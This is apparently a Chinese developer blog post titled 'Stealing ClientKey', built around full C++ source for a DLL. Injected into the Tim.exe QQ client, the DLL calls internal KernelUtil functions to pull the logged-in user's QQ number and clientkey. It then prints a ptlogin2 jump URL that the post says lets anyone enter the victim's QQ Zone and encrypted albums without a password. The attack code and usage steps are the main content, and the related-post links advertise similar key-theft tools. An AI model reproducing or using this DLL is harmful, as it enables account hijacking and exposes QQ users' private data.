窃取ClientKey

盗号的原理 这个工具的理论基础,建立在早期 QQ 客户端安全防护较弱、腾讯内部服务接口鉴权不严、第三方网站 OAuth 实现有瑕疵的时代。clientkey≠ 登录凭据:它只能操作 QQ 自身的部分后台接口,不能登录新设备。clientkey:第三方网站不收这种内部令牌。工具本身已部分失效:连昵称都拿不到,怎么可能“登录任何网站”? 阅读详情

编译好DLL,直接注入Tim.exe,使用dbgView等工具查看输出的url,复制到任何一台电脑,使用浏览器打开这个url,就可以不需要密码进入某人的空间,查看加密相册等~

DLL源码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include <WTypes.h>

//定义CTXStringW为BSTR
typedef BSTR CTXStringW;

CTXStringW AllocTXString(const wchar_t* lpSrc)
{
    if (lpSrc == NULL) return NULL;
    BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
    if (bBuffer == NULL) return NULL;
    DWORD dwZero = 0;
    DWORD dwCount = 3;
    DWORD dwLenth = wcslen(lpSrc) + 1;
    memmove(bBuffer + 0 * 4, &dwZero, 4);
    memmove(bBuffer + 1 * 4, &dwCount, 4);
    memmove(bBuffer + 2 * 4, &dwLenth, 4);
    memmove(bBuffer + 3 * 4, &dwLenth, 4);
    wcscpy((wchar_t*)(bBuffer + 4 * 4), lpSrc);
    return CTXStringW(bBuffer + 16);
}

VOID Steal()
{
    do {

        HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");
        if (hKernelUtil == NULL)
        {
            OutputDebugStringA("Get KernelUtil Module failed \n");
            break;
        }

        PVOID PtrGetSelfUin = GetProcAddress(hKernelUtil, "?GetSelfUin@Contact@Util@@YAKXZ");
        if (PtrGetSelfUin == NULL)
        {
            OutputDebugStringA("Get GetSelfUin Function failed \n");
            break;
        }

        DWORD uin = ((int(*)(int))PtrGetSelfUin)(1);
        if (uin == NULL)
        {
            OutputDebugStringA("Invoke GetSelfUin Function failed \n");
            break;
        }

        // Print QQ number
        char szUin[MAX_PATH] = { 0 };
        sprintf(szUin, "%d", uin);

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");
        if (GetSignature == NULL)
        {
            OutputDebugStringA("Get GetSignature Function failed \n");
            break;
        }

        WCHAR wsBuffer[MAX_PATH] = { 0 };
        CTXStringW ClientKey = AllocTXString(wsBuffer);
        PVOID res = ((PVOID(*)(PVOID,const char*))GetSignature)(&ClientKey,"buf32ByteValueAddedSignature");
        if (res == NULL)
        {
            OutputDebugStringA("Invoke GetSignature Function failed \n");
            break;
        }

        // 复制下面链接,无需密码,进入QQ空间
        char msg[MAX_PATH] = { 0 };
        sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstar\n",szUin,ClientKey,szUin);
        OutputDebugStringA(msg);

    } while (0);
   


}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Steal();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


计算机网络 - SSL/TLS SSL/TLSSSL/TLS 概述密钥协商过程——TLS握手客户端发出请求(ClientHello)服务器回应(SeverHello)客户端回应(Certificate Verify)Client Key ExchangeCertificate VerifyChangeCipherSpec服务器的最后回应(Server Finish)证书secretSecret KeysPreMaster sec... 阅读详情

相关推荐

Laravel API认证原理与Sanctum实战:从无状态设计到生产加固

API认证是现代Web服务的核心安全机制,其本质是通过无状态、可验证的凭证(如Bearer Token)替代传统Session实现身份核验。其底层依赖密码学哈希(如SHA-256)、时效控制与权限范围(abilities)三重保障,技术价值在于支撑高并发、跨域、多终端的安全调用。典型应用场景包括Vue/React单页应用对接、移动App后端、SaaS平台开放接口及微服务间可信通信。本文聚焦Laravel生态,深入解析Sanctum的Token生成原理、双模式(SPA/API)路由分流机制、中间件拦截链路及生

banglvfei0870的博客 409

2021-09-04

Wegame clientkey调用能做的联系我

qq_57369245的博客 121

易语言提取QQclientkey的源码项目

QQclientkey是一种独特的密钥系统,它在腾讯QQ即时通讯软件的客户端与服务器之间的通信过程中扮演着至关重要的角色。客户端使用这个密钥来安全地与服务器进行身份验证和加密通信,它通常是一个唯一的字符串或者二进制序列,每个QQ客户端都有自己的clientkey。QQclientkey在保护用户隐私和数据安全方面起着核心作用,它确保了通讯数据的机密性、完整性和可用性。由于QQ的普及性,如何正确理解和运用clientkey变得尤为重要。

weixin_28235889的博客 878

读取ClientKey的另一种思路,无需注入DLL

需要注意的是,这种方法获取的clientkey长度是224位,和之前注入dll获取的不一样。 注入dll获取的是64位的clientkey 利用方法: 64字节: http://ptlogin2.qq.com/jump?ptlang=2052&clientuin=QQ号码&clientkey=64个字节的KEY&u1=需要登陆的QQ服务网站地址 224字节: htt...

friendan的专栏 3376

易语言-QQ clientkey 提取 Wegame TGP_ID tgp_ticket等

QQ clientkey 提取 Wegame TGP_ID tgp_ticket等,源码是简单的网页POST应用例程。

获取腾讯clientkey

这个是易语言写的获取腾讯clientkey的代码

【大一期末项目】qqclienkey利用:基于qqclientkey的纯c++项目实践

前言: 该项目主要是利用clientkey,对clientkey的获取不做深层探究,涉及到的多为基础知识。 学算法真的很有用,写代码少了很多bug,写算法题目时那种反复检查的思想对写代码有很大的提升。 qqclientkey,大概可以将其理解为qqweb端的临时密码。 关于qqclientkey,网上已经有很多前辈的研究和相关的文章,并且都通俗易懂较易理解,主要有两种方法,一种是内存中读取qqclientk...

SberC8的博客 3061

WeGame / WeGameKey / QQKey 登录缓存信息提取器 v1.0

可以截取 WeGame Login Cache WeGame AccountImpl Cache WeGame Sig Cache WeGame Cookie Cache WeGame Ticket Cache WeGame Keys Cache WeGame PTLoginURL WeGame ClientKey 等等帐号信息数据。

【最新更新】腾讯快捷登录协议截取QQ邮箱Clientkey教程

最近发现之前的老代码已经不能获取QQ邮箱的Clientkey,经过一番调试后发现QQ邮箱更新了获取的流程,所以决定重新发布一篇文章,废话不多,直接上教程,喜欢的朋友记得点赞加关注。

【Rainbow Network Technology co., LTD】 6321

Clientkey代码利用工具

获取了别人的ClientKey,轻松进入对方的QQ空间、微博、邮箱等

从零到一:3D-ResNet50在医学影像中的实战陷阱与避坑指南

本文深入探讨了3D-ResNet50在医学影像分类中的实战应用,重点解析了NIFTI数据预处理、小样本迁移学习陷阱及GPU显存优化等关键问题。通过分块加载、混合精度训练等技巧,有效解决了医学影像处理中的内存管理和性能挑战,为开发者提供了实用的避坑指南和优化策略。

weixin_29038345的博客 391

漏洞无处不在之窃取你的QQ信息

申明以下在文章中出现的内容皆从技术角度探讨问题,请勿使用下文所提到的技术从事非法行为! Thursday, July 01, 2010我的上一篇博客 《检测本地是否登录了指定QQ》 中介绍了通过QQ官方页面来获取已登陆QQ信息的方法,通过对QQ页面...

weixin_30897079的博客 228

HALCON实战:用两个工业相机实现无缝大视野拼接(附完整代码与避坑指南)

本文详细介绍了使用HALCON软件实现双工业相机图像无缝拼接的完整解决方案,涵盖硬件配置、相机标定、坐标系转换和图像拼接等关键步骤。通过高精度标定和矩阵变换技术,可构建大视野检测系统,适用于液晶面板、PCB等工业检测场景,显著提升检测效率和精度。

weixin_29050513的博客 191

渗透测试:数十款重要工具介绍,(非常详细)从零基础到精通,收藏这篇就够了!

ngrep 目前能识别以太网,PPP,SLIP,FDDI,Token Ring和无效接口上的IPv4/6,TCP,UDP,ICMPv4/6,IGMP 和 Raw 协议,可按照常见的数据包窃听工具(如tcpdump和snoop.ngrep)那样去BPF 规则过滤。它包含Snort,Suricata,Bro,OSSEC,Sguil,Squert,Snorby,ELSA,Xplico,NetworkMiner和许多其他安全工具。Pompem——是一款开源工具,便于搜索自动化的设计,可利用主要数据库的漏洞。

shandongjiushen的博客 840

全国排污许可证数据

from tkinter import * # 导入窗口控件 import tkinter.filedialog import requests from lxml import etree from tkinter import ttk from bs4 import BeautifulSoup import webbrowser # 调用浏览器打开网页 from tkinter import messagebox # 弹出提示框 from openpyxl import Workbook imp.

Newnotes的博客 3387

快速上手:网页版EggNOG功能注释全流程解析

本文详细解析了网页版EggNOG在蛋白序列功能注释中的全流程操作,从初识工具到实战技巧,涵盖FASTA格式处理、参数设置、结果解读及常见问题解决方案。特别适合生物信息学初学者快速掌握这一高效注释工具,提升非模式生物基因组研究的注释效率。

weixin_29310631的博客 190

ESP32 Wi-Fi安全实战指南:从WPA3到TLS的物联网连接防护

在物联网开发中,无线网络连接安全是保障设备与数据可靠性的基石。其核心原理在于通过认证与加密协议,在设备接入与数据传输两个层面建立防线。从技术价值看,这不仅防止了未授权访问和数据窃取,更是设备从原型走向产品化的关键。常见的应用场景包括智能家居、工业传感数据回传等需要设备联网的领域。本文聚焦于ESP32这一热门物联网平台,深入解析其Wi-Fi连接中的WPA2/WPA3认证机制与TLS/SSL传输加密的实现,并探讨如何通过NVS安全存储和Flash加密等**热词**技术,构建端到端的安全方案,帮助开发者规避常见的

weixin_34321753的博客 442

SiC MOSFET驱动设计实战:从特性解析到电路优化

本文深入解析SiC MOSFET的核心特性及其驱动电路设计要点,涵盖高温稳定性、快速开关能力等关键特性,并提供驱动电压配置、电流能力计算、布局优化等实用方案。特别针对第三代电力电子半导体SiC MOSFET的驱动要求,分享STGAP1AS等典型驱动方案的应用技巧,助力工程师解决高频应用中的EMI和热管理挑战。

weixin_29230865的博客 366

【亲测免费】 2023年最新版获取Clientkey工具

2023年最新版获取Clientkey工具 去发现同类优质开源项目:https://gitcode.com/ 工具简介 在开发和调试过程中,Clientkey常常是一个关键的访问令牌,用于确保应用间的安全通信。鉴于网络上旧有方法已失效的现状,本仓库特别提供了2023年最新的获取Clientkey的工具。本工具主要采用了网页模拟浏览器访问的技术方案,绕过了传统方法因安全性升级而遇到的障碍,确保了在合...

gitblog_09774的博客 446

手把手教你学Simulink--基于多能源系统协同控制的复杂场景实例:氢燃料电池+锂电池混合动力电动汽车能量管理仿真

本文介绍了基于Simulink的氢燃料电池与锂电池混合动力电动汽车能量管理系统的建模与仿真方法。系统包含驾驶循环输入、燃料电池子系统、锂电池子系统、能量管理、电机驱动等模块,通过协同控制优化能源分配。详细说明了从模型创建到各子系统设置的7个步骤,并提供了MATLAB代码示例。该仿真可评估不同工况下的系统响应速度、能量利用效率和电池寿命等性能指标,为混合动力汽车的能量管理策略设计和优化提供参考。

MHD0815的博客 239

汽车电子RTOS--AUTOSAR OS

AUTOSAR OS(AUTomotive Open System ARchitecture Operating System)是AUTOSAR(汽车开放系统架构)标准中的一个重要组件,它是一个专门为汽车电子控制单元(ECU)设计的实时操作系统(RTOS)。AUTOSAR OS旨在提供一个标准化的软件平台,以促进不同供应商和汽车制造商之间的组件复用和协同开发,提高软件质量和降低成本。

MHD0815的博客 1798

clientkey(ClientKeyt利用)

clientkey是什么意?clientkey是什么意思 客户端钥匙。 qq群怎么创建-怎么自己创建QQ群?我想自己创建一个QQ群,怎么做?详细点.谢谢? 首先确认您自己没有建立过任何群~然后登陆QQ校友录,选择一个省市还有学校~最后到达学校的班级~在“创建新班级”处输入你的群名称~创建完成…… 特别说...

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 518

从零开始理解Linux中断架构(1)-前言

前段时间在转行手撸WIFI路由器,搞wifi路由器需要理解网络驱动程序,以太网卡驱动程序,无线WIFI驱动程序,而网卡驱动的关键路径就在中断程序中,需要了解NIC设备驱动程序如何收发数据,为了彻底的知道数据包是如何二层传递上来的,又需要了解一点Linux中断系统。第一次看到这张表是无感的,大概能够看懂的就是那个中断次数,因为不停的cat,这个数值会一直不停的增加。第一列是逻辑中断号,第二三列是中断次数,第四列是中断控制器的名字,第五列是硬件中断号,第六列 中断类型,第七列是 中断源关联设备。

maxleng的专栏 881

某牛世界杯clientKey及clientSecret获取

某牛世界杯的牛奶活动很火,也借机学习了一下小程序的一些东西,分享一下。声明:以下仅供学习交流之用,切勿用于非法用途,所造成的的后果与本人无关。本人不提供成品代码。1. 获取小程序源码通过fan编译目标小程序,得到clientKey及clientSecret算法所在的js文件。从网上的信息了解到算法在chunk.js里。2. 运行js文件将得到的chunk.js复制到js调试工具里,这里我复制到精易...

a18065597272的博客 218

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

QQ利用KEY漏洞上号登录空间邮箱网盘群管等-详细讲解

用户的私钥只有用户自己知道,保证加密数据不会被破解。当用户登录 QQ 空间、QQ 邮箱等产品时,QQ 服务器会生成一个 Key(密钥),并将该 Key 发送给用户的 QQ 软件。QQ服务器收到加密后的数据后,使用用户的公钥进行解密,并将解密后的数据与服务器端保存的密钥进行对比。后续,QQ 服务器会收到加密后的数据,并采用用户提供的公钥进行解密,验证解密后的数据与服务器端保存的 Key 是否匹配。用户的 QQ 软件会采用对称加密算法将该 Key 与用户的私钥进行加密,并将加密后的数据发送给 QQ 服务器。

weixin_65409651的博客 1087

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

[转]hookQQ-API拦截QQ聊天记录-有图有码

大家先对QQ采用ollydbg调试QQ,分析出相关QQ内部函数//?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z//?GetSelfUin@Contact@Util@@YAKXZ//?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z//?GetDiscussName@Group@Util@@Y...

weixin_34343000的博客 1495

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

上一篇: 微信防撤回补丁脚本
下一篇: 使用new申请内存时,初始化为零
FFE4
博客等级 码龄9年 234粉丝 166原创
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值